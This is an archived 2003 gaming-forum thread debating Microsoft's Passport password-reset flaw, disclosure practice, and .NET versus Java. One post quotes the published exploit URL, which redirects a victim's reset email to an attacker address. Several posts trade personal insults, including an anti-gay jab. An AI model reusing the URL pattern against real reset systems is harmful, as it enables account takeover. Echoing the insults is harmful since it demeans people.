Apolyton Archive  |  Preserved copy of the Apolyton Civilization Site and its forums as they stood in September 2005. Read-only; nothing here can be posted to or replied to.  |  Forum index |  About this archive |  The 1998–2001 UBB forums
Today on Apolyton WARDELL INTERVIEW PROMO A.C.S. HISTORY CHAPTER 4 GET CIV4 /w FREE PLUS! A.C.S. PHOTO GALLERY GET A.O.M. V1.1
Apolyton Civilization Forums
main| civ2| civ3| civ4| smac| ctp2| ron| moo3| galciv| galciv2| alt| about|
ApolytonPLUS | register | search | faq | new posts | pm (-/-) | upload | members
hall of fame new! | civgroups | civgroups news | interviews | the column | radio | chat | directory | news | store | PLUS
Apolyton Civilization Forums : Powered by vBulletin version 2.0.3 Apolyton Civilization Forums > Miscellaneous > Archive > Off-Topic-Archive > Microsoft Admits Passport Security Flaw
Show a Printable Version | Email This Page to Someone! | Receive updates to this thread | Report this to Apolyton news!

bottom of page
  
Author
Thread   
Pages (3): [ 1   2   3   ]
< Last Thread     Next Thread > Post New Thread     Post A Reply
Agathon is offline Agathon
Prince
Leafs 4TW!! - CPA
Dec 2002
time: 00:28
  Old Post 10-05-2003 11:01
Edit/Delete Message Reply w/Quote
#31 Report this post to a moderator
Get a bigger avatar today!

quote:
Originally posted by Asher

Someone should also explain to you the concept of a thread. Using my cheeky implication months ago in another thread that some people (in general) were necropheliacs.


I like this, trying to back out of it. The context was the thread on whether it was right to show pictures of dead combatants in the Iran-Iraq war and myself and a few other posters were arguing that in a democracy people really should know what goes on in war. You called us sick necrophiliacs and you weren't joking; indeed you were in high dudgeon at the time. There was nothing cheeky about it - it was a pretty sick thing to say.

Add to that the continual stream of abuse you hurl whenever I disagree with you, aimed at my job (despite your poor understanding of it) and whatever else, even after I try to be nice to you and you can see why I'd get annoyed. I don't care if you disagree, but the tone is sometimes grating and motivates me to perhaps say things I'd rather not.

quote:
Or at least be a man and apologize.


Alright then, I'm sorry if you were offended but the original post in this thread was meant to be a joke (surely you can see that your die-hard support of MS is funny - I can see that my occasionally over the top defence of things I like is funny - obsession is part of being human). However, you obviously couldn't see this and went off at the deep end at me, saying that you'd ban me if you were a mod, and you told me to grow up.

Now call me an idiot but isn't basically implying you're going to the equivalent of telling the teacher and telling me to grow up a little rich?

Looking back on it, I think I should have omitted "gay" (although "fascist" and "rich" can stay ) as I realise you've had a tough time coming out to your folks. Nothing particularly evil was intended by that.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 11:02
Edit/Delete Message Reply w/Quote
#32 Report this post to a moderator
Tired of ads?

I was just having an intellegent OS discussion with Asher!

Now where did he go?

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 11:03 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#33 Report this post to a moderator
Support Apolyton or Terrorists Win

How can anybody in the right state of mind equate me with being fascist? I don't understand.

I've always been very socially liberal...

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 11:03
Edit/Delete Message Reply w/Quote
#34 Report this post to a moderator
Support Apolyton, buy Civilization 2

I guess one for a week is ok. I'd rather play GalCiv, so the rest of you chill with the insults towards Agathon. He won't be replying for a while anyway.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 11:10
Edit/Delete Message Reply w/Quote
#35 Report this post to a moderator
Support Apolyton, buy Call to Power 2

I thought GALCIV sucked as much as the orignal

Shi Huangdi is offline Shi Huangdi
Emperor
Pittsburgh, PA
Apr 1999
time: 00:28
  Old Post 10-05-2003 11:32
Edit/Delete Message Reply w/Quote
#36 Report this post to a moderator
Inflate your Upload Space

quote:
Originally posted by Agathon


Awwwww, poor little rich gay fascist boy.


LoneWolf is offline LoneWolf
Settler

Feb 2001
time: 23:28
  Old Post 10-05-2003 11:38
Edit/Delete Message Reply w/Quote
#37 Report this post to a moderator
Support Apolyton, buy Call to Power 2

I must say that the concept of a "rich, gay, fascist" is quite remarkable. How many of those can there be?

BustaMike is offline BustaMike
King
You think you're better than me? You've been handling my ass pennies!!!
Nov 1999
time: 21:28
  Old Post 10-05-2003 11:40 Visit BustaMike's homepage!
Edit/Delete Message Reply w/Quote
#38 Report this post to a moderator
Remove this text

Awww... Agathon is okay with me. He laughed at my Haiku in Speer's poetry thread... you know, the one that started off with "not to be gay or nothing." (EDIT Speer's thread not my haiku)

Asher - normally, I'm with you on your promotion of Microsoft, but in this case it seems to be a pretty blatant security hole that they should have fixed. I fail to see how you can just say that Microsoft didn't do anything negligent here.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 11:40
Edit/Delete Message Reply w/Quote
#39 Report this post to a moderator
Lose 30 kilos (of popups)

Im sorry i havent been in english class for years. Isnt that an Oxymoron?

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 11:41
Edit/Delete Message Reply w/Quote
#40 Report this post to a moderator
Suffering from ads?

I mean you know...

what with a Fascist being gay
and all

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 11:42 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#41 Report this post to a moderator
Get a bigger avatar today!

quote:
Originally posted by BustaMike
Asher - normally, I'm with you on your promotion of Microsoft, but in this case it seems to be a pretty blatant security hole that they should have fixed. I fail to see how you can just say that Microsoft didn't do anything negligent here.

They did fix it, 3 hours after they found out about it, it was patched...

Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 11:44
Edit/Delete Message Reply w/Quote
#42 Report this post to a moderator
Support Apolyton, buy Civilization: The Boardgame

Have any of you guys ever programmed? I mess with VB and I have a hell ov a time putting together a program with more than 2 forms and 500 lines of code. Let alone a friggin thing like .net. **** happens. Its nobodies fault, software security is alot like Airline safety. Its a policy written with blood. You dont know somethings wrong, till it happens.

Gatekeeper is offline Gatekeeper
King
United States of America
Feb 2000
time: 23:28
  Old Post 10-05-2003 11:45 Visit Gatekeeper's homepage!
Edit/Delete Message Reply w/Quote
#43 Report this post to a moderator
Support Apolyton, buy Call to Power 2

A little bit more diversity in the world of computer operating systems would make incidents like this not as widespread or as potentially destructive, IMO.

Gatekeeper

BustaMike is offline BustaMike
King
You think you're better than me? You've been handling my ass pennies!!!
Nov 1999
time: 21:28
  Old Post 10-05-2003 11:46 Visit BustaMike's homepage!
Edit/Delete Message Reply w/Quote
#44 Report this post to a moderator
Support Apolyton, buy Alpha Centauri

They did patch it really quick for sure. The thing is that the security hole was caused by simply entering a value into the URL to take over someone's account if I'm not mistaken. This seems really dumb. The system should have been designed with better security than that.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 11:46
Edit/Delete Message Reply w/Quote
#45 Report this post to a moderator
Increase Your PM Length

quote:
Originally posted by faded glory
I thought GALCIV sucked as much as the orignal


We all care about the opinions of gas-pumpers, Steverino.

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 11:48 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#46 Report this post to a moderator
Avatar Enlargement: We've got the solution

quote:
Originally posted by Gatekeeper
A little bit more diversity in the world of computer operating systems would make incidents like this not as widespread or as potentially destructive, IMO.

Gatekeeper

A little more diversity in the world of computer operating systems would lead to increased development costs, bug counts, and complications since there's a wide variety OSes the software interferes with.

Of course, others would argue it'd be fine to just make a simple "standard" (like a POSIX on steroids), and have a bunch of programs interface with it.

If we did that, it'd stifle progress and innovation.

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 11:49 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#47 Report this post to a moderator
Help yourself to an AD-FREE life

quote:
Originally posted by BustaMike
They did patch it really quick for sure. The thing is that the security hole was caused by simply entering a value into the URL to take over someone's account if I'm not mistaken. This seems really dumb. The system should have been designed with better security than that.

No kidding, but you'll find that the hardest mistakes to catch in programming are the really dumb ones.

This bug in particular would have never been caught by using MS' /GS compile flag, checking buffer overflows, or by examining logic and permissions. Somebody forgot a simple 'if' somewhere which qualified where the host came from.

It's like FG said, stuff like that sometimes slips out and you don't know it's broken until someone finds out about it.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 11:53
Edit/Delete Message Reply w/Quote
#48 Report this post to a moderator
Lose 30 kilos (of popups)

quote:
Originally posted by faded glory
Have any of you guys ever programmed? I mess with VB and I have a hell ov a time putting together a program with more than 2 forms and 500 lines of code.


This speaks more to your level of skill than the complexity of commercial grade programming. Somehow, when you talk about two forms and 500 lines of code, I have a vision of you putting all that code in the initial form's open method.

quote:

Let alone a friggin thing like .net. **** happens. Its nobodies fault, software security is alot like Airline safety. Its a policy written with blood. You dont know somethings wrong, till it happens.


.net only has a couple of really problematic areas (garbage collection and workarounds for deterministic finalization of objects being one) and has a years long history of development (it's COM+ under a new name), a huge staff, and a huge development budget.

Software security is a matter of testing and consistent application of sound practices. The problem with this is not how quickly or how it was caught, but that it was a very basic human error type of lapse.

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 11:59 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#49 Report this post to a moderator
Support Apolyton, buy Galactic Civilizations

MtG: Have you had a chance to use .NET Framework 1.1 yet?

I've not yet (still on VS.NET 2002 and .NET 1.0), but the changelogs I've read said that garbage collection and performance in general has been improved.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 12:03
Edit/Delete Message Reply w/Quote
#50 Report this post to a moderator
Remove this text

quote:
Originally posted by Asher

. Somebody forgot a simple 'if' somewhere which qualified where the host came from.


And "Then" and probably "Or Else"

quote:
It's like FG said, stuff like that sometimes slips out and you don't know it's broken until someone finds out about it.


Exactly. You get it.


quote:
We all care about the opinions of gas-pumpers, Steverino


Why does that still stick? I was totally razzling him back in the day. Oh what I would do to see that thread again. And my n00bish antics.






quote:
This speaks more to your level of skill than the complexity of commercial grade programming. Somehow, when you talk about two forms and 500 lines of code, I have a vision of you putting all that code in the initial form's open method.


blah blah..i threw it out as an example. Total number of programs Steve has tried to write: 10. Total number of programs steve has gotten to work: 0. Total number of programs steve is trying to figure out: 3 . Total number of Dynamic Array's steve is trying to figure out this weekend:3. Steve doesnt understand Database libraries very well


anyway

quote:
.net only has a couple of really problematic areas (garbage collection and workarounds for deterministic finalization of objects being one) and has a years long history of development (it's COM+ under a new name), a huge staff, and a huge development budget.


.net is a good idea. It makes things a helluvalot easier. I wish everybody was .net

quote:
Software security is a matter of testing and consistent application of sound practices. The problem with this is not how quickly or how it was caught, but that it was a very basic human error type of lapse


The problem is. This stuff isnt picked up in Debug or with whatever standard tools MS uses. So all the testing in the world STILL wont fix everything.

faded glory is offline faded glory
King
This trash talking 2 bit dope dealer is about to learn respect for the law
Jan 2001
time: 05:28
  Old Post 10-05-2003 12:05
Edit/Delete Message Reply w/Quote
#51 Report this post to a moderator
Remove this text

actually that last one didnt make any sense cuz my text GOT EATEN!!!!!!!!!

Im not retypin it. '

err...alot of it.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 12:27
Edit/Delete Message Reply w/Quote
#52 Report this post to a moderator
Support Apolyton, buy Galactic Civilizations

quote:
Originally posted by Asher
MtG: Have you had a chance to use .NET Framework 1.1 yet?

I've not yet (still on VS.NET 2002 and .NET 1.0), but the changelogs I've read said that garbage collection and performance in general has been improved.


I haven't yet. I have a fairly big project in development now, and I don't want to change while in development without evaluating the differences first. Right now, I don't have the luxury of spare boxes just to test the differences, because Bush's war and the spike in fuel prices delayed the development money I'm getting from my client.

Garbage collection is a bit too random as far as when it occurs in .NET 1.0, and I have a lot of high-end resources to release (DB connections and sockets, including SSL sockets, in particular), so I've been in the habit of forcing dereferenced objects to be GC'd explicitly.

It would be great if there was a way to specify by property your desired priorities for objects or classes to be checked for GC, or if you could control the frequency, but I'll take any improvement I can get in it.

Sir Ralph is offline Sir Ralph
Emperor
Long live teh Schwampel!
Dec 2001
time: 06:28
  Old Post 10-05-2003 12:32
Edit/Delete Message Reply w/Quote
#53 Report this post to a moderator
Support Apolyton, buy Civilization 2

It seems in this case Microsoft reacted really quick. I would give them a thumbs-up, except that I never could be arsed to open a passport account at all, so I don't care.

Asher - in my books you are a rightwinger at the very least. Not that this would be a reason to insult you, though.

Asher is offline Asher
King
Calgary, Alberta
Nov 1999
time: 22:28
  Old Post 10-05-2003 12:35 Visit Asher's homepage!
Edit/Delete Message Reply w/Quote
#54 Report this post to a moderator
Enter the AD-FREE zone

I consider myself a right-winger, too, but I still am very socially liberal.

Gay equal rights, public healthcare, welfare, public transportation, pro-choice, etc.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 12:39
Edit/Delete Message Reply w/Quote
#55 Report this post to a moderator
Support Apolyton, buy Civilization: The Boardgame

quote:
Originally posted by faded glory
Why does that still stick? I was totally razzling him back in the day. Oh what I would do to see that thread again. And my n00bish antics.


Some things just fit.

quote:

blah blah..i threw it out as an example. Total number of programs Steve has tried to write: 10. Total number of programs steve has gotten to work: 0. Total number of programs steve is trying to figure out: 3 . Total number of Dynamic Array's steve is trying to figure out this weekend:3. Steve doesnt understand Database libraries very well


Dynarrays in VB 6, or VB .NET? Are you using ADO, or just calling local MDB files?

quote:

The problem is. This stuff isnt picked up in Debug or with whatever standard tools MS uses. So all the testing in the world STILL wont fix everything.


Logic problems are never picked up with coding tools. I have a large commercial app suite I'm working on, that among other things, grants various levels of access to many parties (lenders, owners, customers, management auditors, maintenance pukes, accounting people, etc.), inside and outside the enterprise owner. Depending on who you are and your level of access with a particular project, you can remotely shut down a powerplant in the middle of summer, or adjust a bill for a six-figure amount, or examine maintenance history. (A big deal if there's a multimillion dollar warranty claim.) You can also demote administrators, etc. Depending on who you are, you can have entirely different roles on different projects, which are open-ended - there can be a hundred of them.

All the various auth/auth stuff I do can be code checked with tools, but the logical choices of who has what permissions have to be checked by hand against my code spec and design documents. As does the process of making sure, on all parts of the databases, that whatever is not explicitly permitted is denied. In the development phase, I can do that by hand because I have just a few test databases, but in the commercial release, I have to write a custom tool just to do that sort of permissions setup, and to verify that permissions are set accurately. I get my ass sued into the ground if I screw up. So yes, it can be done.

Angelo Scotto is offline Angelo Scotto
Warlord
Milan, Italy
Oct 1999
time: 05:28
  Old Post 10-05-2003 14:30
Edit/Delete Message Reply w/Quote
#56 Report this post to a moderator
Lose 30 kilos (of popups)

quote:
Originally posted by Asher
What they also don't mention in the article is the guy sent e-mails to MS departments completely unrelated to software security.

There are official channels for this kind of information, mass-mailing them to stuff like pr@microsoft.com doesn't get you anywhere.

http://news.com.com/2100-1002-1000429.html?tag=nl

quote:
However, he didn't send an e-mail to Microsoft's standard security contact point, secure@microsoft.com.


when you're quoting an article you should quote all the paragraph and not a phrase out of context:

The security consultant also said that he had repeatedly sent e-mail warnings to Microsoft's abuse and security addresses at Hotmail.com to no avail. However, he didn't send an e-mail to Microsoft's standard security contact point, secure@microsoft.com.
No way, trying to contact abuse@hotmail.com for a hotmail (and passport) vulnerability and being answered by NLP bot is not the same as trying to warn pr@microsoft.com

quote:
Originally posted by Asher
MS found out about it from a C|Net story on it, which the "honourable" hacker leaked to the public so anyone could exploit it.


I hope for Microsoft that they really didn't found the story on C|Net...
The author made his post on bugtraq, a well known security mailing-list and Microsoft probably read it there (are you trying to defend MS or to insult it?)

About the leak to the public:
It is called open-disclosure and is what forces a lot of companies to fix bugs quickly, you start sending mails to the company warning them about the bug you've discovered and if they don't answer you, you simply submit it to a security mailing-list.
It was invented because someone discovered that when the vulnerability was public the company was able to fix it in a couple of hours, while when it wasn't the company took months just to answer the mail.
It happens for Microsoft, Adobe, RedHat, Oracle, Mandrake... etc, it's not just an anti-MS invention.

quote:
Originally posted by Asher
1) didn't allow enough time for employees to forward the message seeing as it was 8pm,

Form the original post to bugtraq:

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned)

He waited answer since 12th April, he didn't send two mails one at Hotmail and one to bugtraq the same day!

quote:
Originally posted by Asher
They did fix it, 3 hours after they found out about it, it was patched...

You see that open-disclosure works?

quote:
Originally posted by Asher
Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.


I totally agree with you on this in general, but in this case i can't, this is from the post to bugtraq


All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1

And you’ll get an email on attacker@attacker.com asking you to click on a url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033

From that url, you can reset the password and I don’t think I need to say anything more about it.

Now, how on the hell they left prefem to accept any email address? it's not like a buffer overflow, it's a giant conceptual mistake, and done on Passport, not on Age of Empires!

quote:
Originally posted by Asher
Of course, others would argue it'd be fine to just make a simple "standard" (like a POSIX on steroids), and have a bunch of programs interface with it.

What's about .NET ? I really like it

BTW, i'm not against MS, their security-policy is good enough (expecially compared with that of other companies like Adobe for example) and the huge quantity of bugs found in its products is due to the quantity of code that they write

Urban Ranger is offline Urban Ranger
Apolyton Duke of Off-Topic

Donate to the Red Cross
The City State of Noosphere, CPA special envoy
May 1999
time: 13:28
  Old Post 10-05-2003 19:01
Edit/Delete Message Reply w/Quote
#57 Report this post to a moderator
Remove this text

quote:
Originally posted by Asher
They did fix it, 3 hours after they found out about it, it was patched...


Ah, after the researcher sent 10 e-mail to MS without a response.

quote:
Originally posted by Asher
Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.


So much for "Trustworthy Computing." This wasn't even an obscure hole. It was pathetic programming to begin with.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 20:36
Edit/Delete Message Reply w/Quote
#58 Report this post to a moderator
Support Apolyton or Terrorists Win

Maybe, but .NET still beats the **** out of anything else out there.

Luckily for Sun, Java is now a standard for the US military, who is upgrading systems by porting non-OOP Ada and other legacy spaghetti code base to a non-objectified approach using Java spaghetti code.

Last edited by MichaeltheGreat on 10-05-2003 at 20:43

Urban Ranger is offline Urban Ranger
Apolyton Duke of Off-Topic

Donate to the Red Cross
The City State of Noosphere, CPA special envoy
May 1999
time: 13:28
  Old Post 10-05-2003 20:56
Edit/Delete Message Reply w/Quote
#59 Report this post to a moderator
Support Apolyton, buy Alpha Centauri

I have not used .NET so I can't tell, but if it's just repackaged COM, I would have to say ORB/COBRA is a better architecture. You can't really compare .NET and Java though, because .NET is about "Web services" (whatever that means) and Java is about portable, write-once run-many, code.

MichaeltheGreat is offline MichaeltheGreat
Apolyton Grand Executioner
mooning the house that Ruth built.
Oct 1999
time: 21:28
  Old Post 10-05-2003 21:47
Edit/Delete Message Reply w/Quote
#60 Report this post to a moderator
Support Apolyton, buy Galactic Civilizations

.NET is both broader and more advanced than COM in several ways. Although M$ originally was going to call it COM+, it made sense to rename it, as the similarity to COM is minimal.

"Web services" are just a small aspect of .NET - there's really no reason not to use it for standard desktop applications, n-tier, or web apps. J2EE also addresses web services, which really are (IMO) still at the stage of being a solution looking for a problem. .NET is much more about being a cross-platform capable operating environment, without being dependent on "The mother of all languages" nonsense.

Java is hardly a panacea - it's lots of fun to want to make use of features in 1.3 or 1.4, while knowing some of the devices you want to support only have 1.1 or 1.2 compatible JVMs. Java still has it's place - I wouldn't try writing game apps for my Nextel phone in .NET for another year or two.

Not to mention that Java does it's "one size (almost, usually, well, more often than not) fits (almost, some of the time) all" by compromising both on speed and on implementation. GUI elements in Java on Windows suck compared to native Windows elements, regardless of whether you use the M$ or Sun JVMs. Java interoperability with languages like C++ is problematic, and sometimes just painful.

.NET does a lot of things for you:

It frees you from DLL-hell by providing excellent versioning tools. Each app can specify versioning behavior of its components by default global behavior, at the app level, or at the level of each component. Automatic updating via remote server is easy, and won't break anything else, even if the components being updates reside in the global assembly cache.

Inheritance and other OOP features and memory management is fully supported in all .NET compliant languages, including stuff like COBOL.

Objects written in one .NET compliant language are seamlessly compatible in all respects with objects written in any other .NET compliant language, so you can program in your preferred language or use the language tool best adapted to what you're doing. You also no longer have to care what language 3rd-party components or assemblies are written in, there are no compatibility issues.

Dependence on the Windows registry and Win32 API calls is completely eliminated, so all .NET apps are fully compatible with all Win versions, if they're running the .NET framework.

Assemblies can reside privately to the application, or globally, or any mixture, and the delivered app automatically finds the right ones.

Memory leaks are eliminated by garbage collection, which can be invoked manually.

The independence from Win32API and the registry, plus the specs of the MS Intermediate Language will allow development of non-Windows .NET frameworks, giving platform independence a la the JVM, but with a lot more optimization.

Depending on the device restrictions you have to deal with and any specific requirements you have, .NET apps and assemblies all originally compile by a JITter, but you can either have the app or assembly continue with JIT behavior, or just do it the first time and run the precompiled app every subsequent time.

Oh, and it's backwards compatible with COM. Even COM objects that couldn't talk to each other in DCOM work seemlessly together in .NET

 
Pages (3): [ 1   2   3   ]
< Last Thread     Next Thread > Post New Thread     Post A Reply
All times are GMT. The time now is 05:28.
Apolyton Time is 00:28.
    top of page
Rate This Thread:
archivepost
Forum Jump:
Forum Rules:
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is ON
vB code is ON
Smilies are ON
[IMG] code is ON
 




Contact Us - Apolyton Civilization Site - Support Us!

Building a better Apolyton through better information. Click here and take our poll!
Non-US visitors, click here!

Powered by: vBulletin Version 2.0.3
Copyright ©2000, 2001, Jelsoft Enterprises Limited.

Page generated in 0.0733 seconds (92.41% PHP - 7.59% MySQL) with 31 queries
Page Loading Time:

Support Apolyton: Amazon USA | Amazon UK | Amazon DE | Amazon FR |
Support Apolyton and get FREE PLUS, Buy from Chips&Bits: Galactic Civilizations | Galactic Civilizations: Deluxe Edition | Call to Power 2 | Civilization: The Boardgame | GURPS/ Alpha Centauri | Alpha Centauri | Civilization IV | Civilization III: Complete |


Front Page | Civilization IV | Civilization III | Civilization II | Call to Power II | Alpha Centauri | Master of Orion III
Rise of Nations | Galactic Civilizations | Galactic Civilizations II | Misc
Alt.Civs | Civ I | C:CtP I | About | News | Directory | Apolyton Store | Forums | Chat | Columns | Interviews | Newsletter
Scenario League | CSC | Clash of Civs | Spanish Site | CtP Maps | Cradle of Civ | WesW's Ctp1/2 Site | Civ3 Haven

apolyton.net | apolyton.com | civilization2.net | civilization3.net | civilization4.net | civilizationiv.info | calltopower.net | galciv.net | galciv2.net | moo3.net